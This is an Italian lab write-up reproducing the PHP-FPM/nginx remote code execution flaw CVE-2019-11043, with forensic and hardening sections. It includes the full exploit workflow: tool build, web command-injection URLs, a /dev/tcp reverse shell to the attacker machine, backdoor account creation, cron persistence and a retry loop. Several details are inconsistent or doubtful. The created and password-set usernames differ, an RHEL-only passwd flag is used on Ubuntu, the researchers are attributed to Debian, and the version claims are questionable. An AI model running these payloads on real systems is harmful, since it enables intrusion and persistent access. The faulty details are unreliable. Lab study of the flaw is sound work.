
Laboratorio pratico che riproduce la CVE-2019-11043, una RCE di PHP-FPM dietro nginx, dimostrando la persistenza tramite reverse tunnel, l'analisi forense della memoria e l'analisi del traffico di rete.
Nell'ottobre 2019, i ricercatori Emil Lerner e Andrew Danau del Debian Security Advisory hanno pubblicato un avviso per mettere in guardia la community Debian su una vulnerabilità critica in PHP-FPM. A causa di una validazione insufficiente nel codice di gestione dei percorsi di PHP-FPM, gli attaccanti potevano manipolare richieste appositamente costruite per ottenere esecuzione arbitraria di codice remoto in determinate configurazioni NGINX + PHP-FPM.
Questo laboratorio dimostra lo sfruttamento di:
Una vulnerabilità che colpisce PHP-FPM in esecuzione dietro NGINX che, quando innescata, può consentire agli attaccanti di eseguire codice arbitrario e stabilire una persistenza tramite tunneling inverso.
Il progetto ricrea un ambiente vulnerabile, esegue la catena di exploit e valuta come gli avversari ottengono la persistenza tramite tecniche di tunneling in scenari reali.
Questa catena d'attacco si allinea direttamente con diverse tecniche MITRE ATT&CK ad alto impatto:
Il tunneling inverso per la persistenza è una TTP (Tattica, Tecnica, Procedura) ad alta frequenza usata da gruppi APT, botnet e operatori di ransomware. PHP-FPM rimane ampiamente distribuito negli ambienti di produzione e le configurazioni errate sfruttate da CVE-2019-11043 sono ancora osservate nel mondo reale.
Non sono astrazioni teoriche — rispecchiano esattamente i comportamenti documentati in campagne di sfruttamento attive che coinvolgono attori statali e gruppi ransomware.
Anche se CVE-2019-11043 ha diversi anni, la vulnerabilità continua a essere rilevante a causa delle seguenti realtà della sicurezza moderna:
Le applicazioni PHP legacy sono ancora ovunque. Molte organizzazioni continuano a eseguire stack PHP 5.x/7.x obsoleti a causa di dipendenze applicative web a lungo termine, debito tecnico o timore di rompere i sistemi di produzione. Questi ambienti restano spesso senza patch e vulnerabili.
NGINX + PHP-FPM è una delle architetture di hosting più comuni al mondo. Questo rende le vulnerabilità in PHP-FPM estremamente attraenti per gli attaccanti che cercano superfici di attacco ampie e di lunga durata.
Il tunneling inverso è una tecnica di persistenza fondamentale nelle minacce moderne. Gruppi come Lazarus, APT29, FIN11 e numerosi operatori di ransomware usano tunnel SSH inversi, tunnel WebSocket e persino reverse shell basate su PHP per mantenere un accesso a lungo termine senza fare affidamento su porte in ingresso esposte.
Le configurazioni errate restano la causa #1 delle violazioni. Anche quando le patch esistono, i blocchi NGINX "location" configurati male e le variabili PATH_INFO scarsamente validate continuano a esporre gli ambienti allo sfruttamento.
I kit di automazione degli exploit hanno ancora come bersaglio questa CVE. Strumenti come scanner automatizzati, botnet e malware IoT sondano regolarmente configurazioni PHP-FPM vulnerabili perché l'exploit porta a un'esecuzione di codice affidabile.
Gli ambienti cloud stanno espandendo la superficie d'attacco. Contenitori poco sicuri, configurazioni di hosting condiviso e immagini Docker obsolete contengono spesso versioni PHP-FPM senza patch, portando a un rapido movimento laterale nelle reti cloud.
Gli attaccanti amano i "frutti a portata di mano" (low hanging fruit). Una vulnerabilità che consente esecuzione remota di codice + persistenza tramite tunnel con competenze minime richieste resterà sempre un bersaglio di alto valore.
Nel panorama delle minacce odierno, dove accesso persistente, tunneling furtivo e debolezze della supply chain dominano i titoli della cybersecurity, comprendere e dimostrare come viene sfruttata CVE-2019-11043 fornisce una visione critica sui modelli di attacco moderni e sulle lacune difensive.
L'obiettivo di questo laboratorio era simulare uno sfruttamento reale di CVE‑2019‑11043, una vulnerabilità critica di esecuzione remota di codice che colpisce PHP‑FPM dietro nginx in determinate configurazioni. L'obiettivo era analizzare la vulnerabilità, riprodurre l'exploit in un ambiente virtuale controllato e dimostrare i rischi associati a un'infrastruttura web configurata in modo errato.
Sono state usate due macchine virtuali: entrambe con nome utente username e password password.
| Ruolo | Macchina | Indirizzo IP | Scopo |
|---|---|---|---|
| Target / Vittima | Ubuntu Server | 192.168.56.102 | Server PHP-FPM vulnerabile con CVE-2019-11043 |
| Attaccante | Ubuntu Server | 192.168.56.103 | Esegue exploit, reverse shell e persistenza |
Aggiorna apt
sudo apt update && sudo apt -y upgrade
Creazione del contenitore per l'exploit della vulnerabilità.
sudo apt install -y docker.io docker-compose git
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
sudo docker-compose up -d
Aggiorna Apt e installa pacchetti base di php, python e altri
sudo apt update
sudo apt install nmap curl wget git python3 python3-pip \
netcat-traditional net-tools build-essential \
php ruby ruby-full
pip3 install requests
sudo apt install golang-go
Scarica uno strumento per sfruttare la CVE in questione e sposta il terminale per compilare l'exploit.
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go build
Da qui la configurazione è completa; ad esempio, ecco cosa puoi fare per primo:
In un terminale (terminale 1) esegui:
nc -lvnp 4444
Questo serve a impostare un canale in ascolto e abilita la reverse shell; dovrebbe rimanere sempre in ascolto poiché consente i comandi successivi in un esperimento teorico.
In un altro terminale (terminale 2) esegui:
cd phuip-fpizdam
./phuip-fpizdam http://192.168.56.102:8080/index.php
Dovrebbe produrre righe che confermano di aver sfruttato con successo la vulnerabilità.
Infine apri un ultimo terminale aggiuntivo (terminale 3).
Subito puoi iniziare a testare la funzionalità dell'exploit eseguendo:
curl "http://192.168.56.102:8080/index.php?a=id"
Questo crea un comando remoto basato sul web e restituisce l'output di id. Tuttavia, come mostra lo screenshot seguente, a causa del memory overflow ci sono momenti in cui il comando può funzionare o meno; spesso i comandi più piccoli hanno più probabilità di funzionare.
Qualsiasi comando può teoricamente essere eseguito qui; andrebbe inserito dove il comando seguente indica HERE, tuttavia le probabilità che un comando completo venga eseguito possono variare.
curl "http://192.168.56.102:8080/index.php?a=HERE"
Questo comando legge il contenuto all'interno della shell
http://192.168.56.102:8080/index.php?cmd=ls
In un esempio reale, questo comando di un attaccante creerebbe un nuovo account e creerebbe una password password tra le virgolette
useradd threat
echo "password" | passwd --stdin hacker
Questo comando crea una reverse shell, ma è una prova di concetto ed è difficile da realizzare perché PHP-FPM termina e rigenera periodicamente i processi worker.
Quando il worker corrotto muore, le modifiche php.ini iniettate muoiono con esso.
curl "http://192.168.56.102:8080/index.php?a=/bin/sh+-c+'sh+-i+>%26+/dev/tcp/192.168.56.103/4444+0>%261'"
A questo punto un attaccante userebbe probabilmente un'attività pianificata; in questo esempio CRON, dato che il server è Linux, ed è l'equivalente dei processi di avvio di Windows.
Il laboratorio ha riprodotto con successo CVE‑2019‑11043 in un ambiente controllato e ha dimostrato come una configurazione nginx + PHP‑FPM errata possa essere sfruttata da remoto. Utilizzando la vulnerabile configurazione fastcgi_split_path_info basata su regex, la macchina attaccante è riuscita a portare PHP‑FPM in uno stato incoerente, ottenendo infine l'esecuzione arbitraria di codice. Inoltre, è stata eseguita l'estrazione dei file di log da un server remoto da molti sistemi e l'analisi dei log noti per essere correlati a questa vulnerabilità.
Una volta innescata la vulnerabilità, l'attaccante otteneva l'esecuzione remota dei comandi sul target ed era in grado di interagire con il sistema come utente locale. Il server web compromesso accettava i comandi, li eseguiva e restituiva l'output, confermando una shell remota pienamente funzionante. Questo ha confermato che la CVE rimane sfruttabile in modo affidabile se abbinata alla configurazione vulnerabile di suddivisione del percorso di nginx e alle versioni interessate di PHP‑FPM.
L'ambiente si è comportato in modo coerente con il comportamento documentato dell'exploit. Comandi come whoami, id, ls ed echo sono stati eseguiti con successo, mentre comandi più complessi o interattivi hanno dimostrato l'instabilità del processo worker PHP‑FPM sfruttato, uno degli effetti noti di questa vulnerabilità.
Come detto, a causa della volatilità della vulnerabilità, a volte suscettibile e a volte no, ci sono momenti in cui funzionerà e momenti in cui non funzionerà; è consigliabile scrivere script con comandi in loop.
Questa vulnerabilità sfrutta una CVE direttamente correlata a un problema di overflow della memoria e del buffer, motivo per cui sarebbe importante visualizzare la memoria della macchina host e analizzarla con Volatility.
Per questo laboratorio abbiamo analizzato i principali log correlati a questa vulnerabilità, la memoria e la cattura di rete.
La cattura di rete mostra i comandi che si tenta di eseguire sulla macchina host. Questi includono il comando stesso e più caratteri aggiunti alla fine dell'URL della richiesta HTTP GET inviata al server, che a loro volta causano un memory overflow.
Inoltre, è possibile vedere in chiaro il comando eseguito in questo esempio innocuo per scaricare un'immagine di un cane felice da Google Immagini, oltre al comando effettivo con "testo umoristico" del creatore del GitHub PHuip.
La cattura della memoria, analizzata con Volatility e raccolta in un file .json, mostra frequenti processi con lo stesso nome eseguiti più volte di seguito, indicando fallimenti e ripetizioni.
Questo accade perché l'errore di memory overflow è il problema alla base di questa vulnerabilità. Un utente potrebbe ripetere un comando con uno script bash come: while true; do curl "command"; sleep 0.01, eseguendo comandi più volte al secondo nel tentativo di fare breccia e ottenere l'esecuzione remota di codice.
Nel complesso, il progetto ha validato i seguenti punti:
La regex vulnerabile di nginx è sufficiente per esporre PHP‑FPM all'esecuzione remota di codice.
PHP‑FPM 8.1 (se configurato in questo modo) è ancora sfruttabile nelle condizioni di CVE‑2019‑11043.
Un attaccante remoto può ottenere una significativa esecuzione di comandi, consentendo manipolazione di file, esfiltrazione di dati e potenziale escalation dei privilegi.
Le configurazioni errate in setup reverse‑proxy / FastCGI rappresentano una superficie d'attacco ad alto impatto, specialmente se abbinate a endpoint di upload accessibili pubblicamente o pagine phpinfo().
I risultati rafforzano quanto sia critica una corretta configurazione FastCGI e evidenziano la necessità di impostazioni predefinite sicure, audit di configurazione periodici ed esposizione minima degli endpoint diagnostici negli ambienti di produzione.
Lo sfruttamento di CVE-2019-11043 dimostra come una singola configurazione errata in PHP-FPM e NGINX possa portare a compromissione totale del server e accesso persistente dell'avversario.
Il team del Debian Security Advisory ha confermato che l'aggiornamento di php7.0 alla versione 7.0.33 o successiva corregge completamente questa vulnerabilità.
Patch adeguate, configurazioni NGINX indurite e monitoraggio dei comportamenti di tunneling sono fondamentali per prevenire attacchi simili negli ambienti moderni.
| MITRE ID | Nome Tecnica |
|---|
| T1071 | Tunneling a livello applicativo |
| T1572 | Tunneling di protocollo |
| T1090 | Proxy / Reverse Proxy |
| T1505 | Componenti lato server (PHP-FPM) |
| T1574 | Dirottamento del flusso di esecuzione |